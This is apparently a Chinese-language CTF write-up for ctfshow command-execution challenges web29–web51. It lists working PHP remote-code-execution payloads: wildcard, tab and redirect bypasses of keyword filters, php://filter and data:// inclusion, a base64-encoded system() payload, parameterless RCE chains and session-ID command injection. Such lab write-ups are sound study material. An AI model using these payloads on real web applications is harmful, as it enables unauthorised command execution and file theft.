Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中（预计8.18完成）~

Ctfshow 命令执行 web29

pregmatch是正则匹配函数，匹配是否包含flag，if(!preg_match("/flag/i", $c))，/i忽略大小写

可以利用system来间接执行系统命令

flag采用f*绕过，或者mv fl?g.php 1.txt修改文件名，或者cat 反引号ls反引号

linux通配符：https://www.cnblogs.com/ysuwangqiang/p/11364173.html

Ctfshow 命令执行 web30

多了对system和php的过滤

用*绕过和passthru

Ctfshow 命令执行 web31

过滤flag system php cat sort shell . 空格 '

过滤了空格，可以使用%09替代；也可以使用{$IFS}或者$IFS$1

传参如下：

?c=passthru("tac%09fla*");

Ctfshow 命令执行 web32

过滤flag system php cat sort shell . 空格 ' 反引号 echo

之前的方法都没有用了。无所谓，文件包含会出手。

https://www.cnblogs.com/endust/p/11804767.html

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

Ctfshow 命令执行 web33

又加了(和"的过滤，没事，文件包含还能出手。

Payload：

?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>

此外，这里日志包含也是可行的。

Ctfshow 命令执行 web34

好的这下:也被过滤了。没事，文件包含还能出手。

Payload：

?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>

Ctfshow 命令执行 web35

<和=也被过滤了，没关系，文件包含还能出手

Payload：

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

Ctfshow 命令执行 web36

加了对/和数字0-9的过滤，还是文件包含，一样的payload。

Ctfshow 命令执行 web37

好家伙直接给我文件包含了是吧

Payload： （采用了base64编码绕过过滤)

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==       //(<?php system("tac flag.php");?>)

Ctfshow 命令执行 web38

Payload不变。

Ctfshow 命令执行 web39

虽然强加了后缀，但是不影响。因为?>已经闭合PHP语句了。

?c=data://text/plain,<?php system("tac fla*.php");?>

Ctfshow 命令执行 web40

过滤了很多东西。只有空格，分号，英文括号还可以用。

看了一下wp（https://blog.csdn.net/Kracxi/article/details/121041140），果然无能为力。这题考察无参RCE。

两种payload。

?c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

以下是我解题过程中学习整理的关于无参RCE的函数实操等。（部分借鉴付劲远师傅的web思维导图）

除了无参RCE，还有个利用session的方法。

payload：

?c=session_start();system(session_id());

session_id（PHPSESSID）就是要执行的命令。

但是这个方法有个弊端，命令不能有空格，因为cookie不解析空格。

Ctfshow 命令执行 web41

无字母数字rce原理：利用各种非数字字母的字符，经过各种变换（异或、取反、自增），构造出单个的字母字符，然后把单个字符拼接成一个函数名，比如说system，然后就可以动态执行了。所以说这里的核心就是非字母的字符换成字母字符。（https://www.cnblogs.com/pursue-security/p/15404150.html）

代码审计，没有过滤或（|）。跑个脚本吧（脚本小子就是我了）

查看目录。

Ctfshow 命令执行 web42

先看源码，一个新东西>/dev/null 2>&1

含义：

1>/dev/null ：首先表示标准输出重定向到空设备文件，也就是不输出任何信息到终端，不显示任何信息。

> 代表重定向到哪里，例如：echo “123” > /home/123.txt

1 表示stdout标准输出，系统默认值是1，所以">/dev/null"等同于"1>/dev/null"

2 表示stderr标准错误

& 表示等同于的意思，2>&1，表示2的输出重定向等同于1

绕过方法就是在命令后面加截断命令 ; 或 %0a 或 %26(&) 或 ||。具体原理就是重定向也是命令的一部分。比如说 命令1;命令2 1>/dev/null就是执行了命令1和命令2 1>/dev/null，虽然命令2被重定向了，但是命令1没有。

Ctfshow 命令执行 web43

过滤了分隔符；那可以换成别的分隔符。对cat的过滤可以用tac，nl替代，或者用各种转义符\ 、'、"。

Payload：

?c=tac flag.php%26

Ctfshow 命令执行 web44

加了一个对flag的过滤，我们用转义符绕过。

Payload:

?c=nl%20fl\ag.php||

Ctfshow 命令执行 web45

加了对空格的过滤，用%09代替。

Payload：

?c=tac%09fla*||

Ctfshow 命令执行 web46

2023.8.16时隔半年，强迫症迫使我把基础给算完。

增加了对数字、*、$的过滤，空格可以用<>或者<或者%09代替（%09是URL编码，不是数字），过滤了通配符*但是?也不能用了，所以flag用转义符\或者''。

payload：

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

发现一个奇怪的payload：这里通配符?又可以用了，弄得我满脸问号？？？？？后来去查了一下，是因为**<和?不能同时用**，上面的payload改成c=tac%09fla?.php||就好啦

?c=awk%09'/f/'%09fla?.php||等价于?c=awk%09'/f/{print}'%09fla?.php||

确实能用，解释一下。这个payload就是输出flag.php文件中包含字符串f的行。

如果我们把f换成ctfshow，那就只输出flag了。

参考文章：

https://blog.csdn.net/Dark_Tk/article/details/114844529

Ctfshow 命令执行 web47

又多过滤了一些命令执行函数more less head sort tail。但是没过滤我最喜欢的tac、nl和awk。

payload不变：

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||
?c=awk%09'/f/'%09fla?.php||

Ctfshow 命令执行 web48

再多过滤了一些命令执行函数sed cut awk strings od curl和反引号。但是没过滤我最喜欢的tac和nl。

payload不变：

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

Ctfshow 命令执行 web49

多过滤了百分号%，对我的payload没影响，我空格是用<绕过的。

payload不变：

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

Ctfshow 命令执行 web50

多过滤了\x09（水平制表符tab）和\x26（&），对我的payload没影响。

payload不变：

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

Ctfshow 命令执行 web51

多过滤了tac，payload还有一个能用。

payload不变：

?c=nl<fla''g.php||        //在源码里面